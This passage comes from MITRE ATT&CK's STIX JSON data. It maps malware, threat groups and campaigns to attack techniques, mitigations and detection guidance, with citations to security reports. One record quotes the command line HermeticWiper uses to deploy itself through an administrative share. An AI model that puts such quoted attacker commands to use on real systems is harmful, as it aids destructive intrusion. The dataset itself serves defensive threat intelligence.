"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}], "modified": "2020-03-16T16:55:39.518Z", "description": "[Helminth](https://attack.mitre.org/software/S0170) can download additional files.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86b41c35-ae4d-418b-9409-07e49d3c769d", "type": "relationship", "created": "2019-04-17T13:46:38.814Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "source_name": "Cofense Astaroth Sept 2018"}], "modified": "2019-09-09T19:23:37.234Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the external IP address from the system. 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Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DnsSystem](https://attack.mitre.org/software/S1021) can write itself to the Startup folder to gain persistence.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-06-24T14:15:04.379Z", "relationship_type": "uses", "source_ref": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a", "type": "relationship", "created": "2019-01-30T18:39:48.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Sofacy Feb 2018", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", "description": "Kaspersky Lab's Global Research & Analysis Team. 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[Zebrocy](https://attack.mitre.org/software/S0251) also runs the <code>echo %APPDATA%</code> command to list the contents of the directory.(Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019) [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86b8a22d-66c3-4b54-82fd-662455d0e2c5", "type": "relationship", "created": "2021-11-30T19:26:17.251Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-11-30T19:38:27.703Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can determine the operating system and whether a targeted machine has a 32 or 64 bit architecture.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--86ba3af5-2fdf-4fe3-8a89-da24cc0e0165", "created": "2022-10-13T14:39:24.332Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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(2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."}, {"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-08-31T15:06:48.443Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools decrypted additional payloads from the C2. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also decoded base64-encoded source code of a downloader.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--86bfc0ee-73e0-4f1b-a4f9-f8e44eae2dc3", "created": "2022-08-07T14:14:14.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T22:25:35.114Z", "description": "[SideCopy](https://attack.mitre.org/groups/G1008) has sent Microsoft Office Publisher documents to victims that have embedded malicious macros that execute an hta file via calling `mshta.exe`.(Citation: MalwareBytes SideCopy Dec 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86c16ccf-cd37-4c5a-822b-034448056066", "type": "relationship", "created": "2020-01-24T14:26:51.389Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T14:26:51.389Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86c466ea-44e7-4018-a223-ce8d2ab81bc8", "type": "relationship", "created": "2020-10-20T03:35:25.799Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:47:56.019Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--86c55cd3-efb5-4bd3-9958-a5af1f1b0679", "created": "2023-09-18T20:36:20.284Z", "revoked": false, "external_references": [{"source_name": "Cisco Operation Layover September 2021", "description": "Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.", "url": "https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-18T20:36:20.284Z", "description": "\n[TA2541](https://attack.mitre.org/groups/G1018) has run scripts to check internet connectivity from compromised hosts. (Citation: Cisco Operation Layover September 2021)\n", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86c58566-41e5-452f-b649-b481bfbd1202", "type": "relationship", "created": "2020-10-19T23:54:29.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA17-156A SNMP Abuse 2017", "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A", "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}], "modified": "2020-10-22T01:54:23.125Z", "description": "Configure SNMPv3 to use the highest level of security (authPriv) available.(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86c68d0b-23db-4f0a-9d06-a3832ec4e8ed", "type": "relationship", "created": "2020-10-02T15:47:59.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T15:47:59.629Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e", "target_ref": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86c734dd-d40c-42ec-b074-0f7a4f2b55cf", "type": "relationship", "created": "2021-03-08T13:50:20.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:09.144Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can enable Windows CLI access and execute files.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--86c83427-c35b-46c2-9c55-90b1967bed49", "created": "2021-12-01T18:49:06.992Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Gelsemium June 2021", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. 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(2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-10T18:55:46.180Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) leveraged compromised credentials from victim users  to authenticate to Azure tenants.(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "relationship_type": "uses", "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--86ca25c9-8cc3-43f8-bf19-2aca39bcf05e", "created": "2023-01-11T21:23:47.006Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Malwarebytes AvosLocker Jul 2021", "description": "Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}, {"source_name": "Trend Micro AvosLocker Apr 2022", "description": "Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.", "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-15T16:34:06.418Z", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) has searched for files and directories on a compromised network.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)", "relationship_type": "uses", "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86ce6e35-bf83-4d55-a3c8-3ac2e2d2f872", "type": "relationship", "created": "2020-09-25T15:49:09.209Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Valak July 2020", "url": "https://unit42.paloaltonetworks.com/valak-evolution/", "description": "Duncan, B. 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Retrieved June 19, 2020."}], "modified": "2020-09-25T15:49:09.209Z", "description": "[Valak](https://attack.mitre.org/software/S0476) has downloaded a variety of modules and payloads to the compromised host, including [IcedID](https://attack.mitre.org/software/S0483) and NetSupport Manager RAT-based malware.(Citation: Unit 42 Valak July 2020)(Citation: Cybereason Valak May 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--86d110ea-060e-462f-a520-ad650564c05e", "created": "2022-09-27T16:18:58.990Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:18:58.990Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used VBScript to conduct reconnaissance on targeted systems.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86db4034-d33f-4067-b133-70ea904fa461", "type": "relationship", "created": "2019-06-28T14:58:02.553Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. 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Retrieved September 24, 2020."}], "modified": "2020-09-30T14:52:08.986Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) has used Base64 encoding to uniquely identify communication to and from the C2.(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86e0245b-787c-4cf8-9399-531d64529d4d", "type": "relationship", "created": "2021-11-24T21:30:57.970Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. 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Retrieved November 24, 2021."}], "modified": "2021-11-24T21:30:57.970Z", "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has leveraged dynamic DNS providers for C2 communications.(Citation: MalwareBytes LazyScripter Feb 2021) ", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--86e5bf16-825f-46d0-a590-57c134dd0b9a", "created": "2022-03-25T20:21:17.681Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) can use `cmd.exe /Q/c move CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1 CSIDL_WINDOWS\\policydefinitions\\postgresql.exe 1> \\\\127.0.0.1\\ADMIN$\\_1636727589.6007507 2>&1` to deploy on an infected system.(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-15T01:24:18.201Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86e8f395-3c57-4602-8e7c-30058d05a655", "type": "relationship", "created": "2019-09-13T13:17:26.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}, {"description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", "source_name": "Cylance Machete Mar 2017"}, {"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."}], "modified": "2020-11-23T22:25:18.177Z", "description": "[Machete](https://attack.mitre.org/software/S0409) captures audio from the computer\u2019s microphone.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--86ea4cab-4169-4471-9f45-6d6defc8b0c3", "created": "2022-04-14T16:35:02.190Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Periodically baseline cloud block storage volumes to identify malicious modifications or additions.", "modified": "2022-04-14T16:35:02.190Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0f72bf50-35b3-419d-ab95-70f9b6a818dd", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86eb3c0d-b1c1-4b52-b802-18f321450f29", "type": "relationship", "created": "2020-01-30T14:24:35.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-06T18:26:18.549Z", "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "relationship_type": "mitigates", "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86ebda8c-df0c-4d76-970b-27bf392606a7", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gazer Aug 2017", "description": "ESET. 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Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-19T21:11:46.125Z", "description": "[LoFiSe](https://attack.mitre.org/software/S1101) has been executed as a file named DsNcDiag.dll through side-loading.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86eff809-54ad-47e1-aacf-24c439a21aa5", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--86f238c5-20c2-4c94-9be9-886105c95252", "created": "2022-07-25T18:00:55.790Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Mongall](https://attack.mitre.org/software/S1026) has the ability to upload files from victim's machines.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:00:55.790Z", "relationship_type": "uses", "source_ref": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86f6e11c-759b-438d-9f32-004708c68f2c", "type": "relationship", "created": "2019-03-18T14:05:57.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT40 March 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html", "description": "Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}], "modified": "2021-10-04T12:59:52.921Z", "description": "(Citation: FireEye APT40 March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--86f6ea64-eb95-4228-956f-eae82b8f49d8", "type": "relationship", "created": "2020-01-30T17:37:22.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T12:57:33.949Z", "description": "Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate. Where possible, the ability to request temporary account tokens on behalf of another accounts should be disabled. Additionally, administrators can leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": 